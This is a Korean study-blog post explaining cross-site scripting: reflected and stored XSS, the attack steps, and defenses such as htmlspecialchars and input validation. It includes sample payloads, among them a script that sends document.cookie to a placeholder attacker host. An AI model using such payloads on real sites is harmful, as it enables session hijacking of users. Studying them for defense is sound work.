일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- 앙버터마카롱
- 잠실새내 도그존
- graphql 400
- promise처리
- 화이트해커를 위한 웹 해킹의 기술
- graphql
- 홍대 예술
- 홍대 토라비
- 잠실새내
- apollo react native
- 예쁜술집 예술
- graphql react native
- graphql with RN
- 비동기배열처리방법
- apolloclient
- 비동기배열
- 토라비
- 고르드
- typescript
- 운정 소바동
- graphql with reactnative
- promise메서드
- 신촌 소문난집
- 금별맥주
- graphql mutation error
- 홍대 카페 장쌤
- 지보싶 신촌점
- 화이트 해커를 위한 웹 해킹의 기술
- 도그존
- useMutation error
- Today
- Total
yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆
XSS (크로스 사이트 스크립팅) 본문
XSS (크로스 사이트 스크립팅) 공격
: 공격자가 악의적으로 스크립트 코드를 웹 애플리케이션에 삽입한 후 웹 사용자의 웹 브라우저에서 해당 코드가 실행 되도록 만드는 공격
-서버의 취약점을 이용해 클라이언트 쪽을 공격한다. (다른 공격들은 보통 서버를 공격)
-자바 스크립트를 사용한다.
공격에 사용하는 자바스크립트 코드에 따라 다양한 공격을 시도할 수 있다.
XSS 공격 종류
Reflected XSS: 요청에 입력된 스크립트 코드가 즉시 응답을 통해 출력 되는 취약점을 이용
(입력된 스크립트가 반사되는 것처럼 동작해서 붙은 이름)
Stored XSS: 스크립트 코드가 요청을 전송한 시점에 바로 반사되는 것이 아니라 웹 서버에 저장되었다가 실행
Reflected XSS 과정
1. 공격자가 이메일 , 게시판 등을 이용해 피싱, 이때 세션 쿠키를 탈취하는 스크립트 코드를 삽입한 HTTP 요청 링크 를 포함함
2. 사용자가 이 링크를 클릭하면 스크립트 코드가 삽입된 요청이 웹사이트로 전송
3. 웹사이트가 입력된 스크립트를 반사하여 웹 페이지에 출력
4. 웹 브라우저가 스크립트 실행 , 그 결과 세션 쿠키를 공격자에게 전달
-스트립트가 자동으로 실행되며 세션 쿠키도 자동으로 전달된다.
//자바스크립트를 이용한 Reflected XSS 공격 예시
<script>alert(document.cookie)</script>
//쿠키를 출력하는 자바 스크립트
<script>document.location='attackers host address'+document.cookie</script>
//쿠키를 공격자의 호스트 주소로 전달하는 자바 스크립트
Stored XSS 과정
1. 공격자가 웹사이트의 게시판 등에 악의적인 스크립트 를 삽입한 게시글을 남김 (피싱 x)
2. 다른 사용자들이 게시판에 접속하여 공격자가 작성한 게시물을 읽음
3. 이때 게시물에 저장되어 있던 스크립트 코드가 사용자에게 전달
4. 웹 브라우저가 스크립트 코드를 실행하여 세션 쿠키가 공격자에게 전달
-Reflected XSS와 달리 해당 페이지를 접속하는 모든 사용자가 공격 당할 수 있음
XSS 공격 대응 방법
1. 스크립트의 문자를 변환한다.
ex. htmlspecialchars(): 특수 문자를 HTML 엔티티로 변환해주는 함수
htmlspecialchars() 사용 예시
< --> < / > --> > / " --> " / ' --> '
<script> --> <script>
2. 사용자가 입력한 값에 대한 검증과 사용자가 입력한 값을 그대로 출력할 때 불필요한 문자열 유무 검증 필요
'웹 > 웹 해킹' 카테고리의 다른 글
SQL injection 실습1 (WHERE 구문 우회) (0) | 2020.09.29 |
---|---|
Brute Force Attack + DVWA실습 (0) | 2020.09.27 |
CSRF (크로스 사이트 요청 변조) (0) | 2020.09.18 |
커맨드 인젝션 공격 / Command injection (0) | 2020.09.12 |
SQL injection (0) | 2020.09.11 |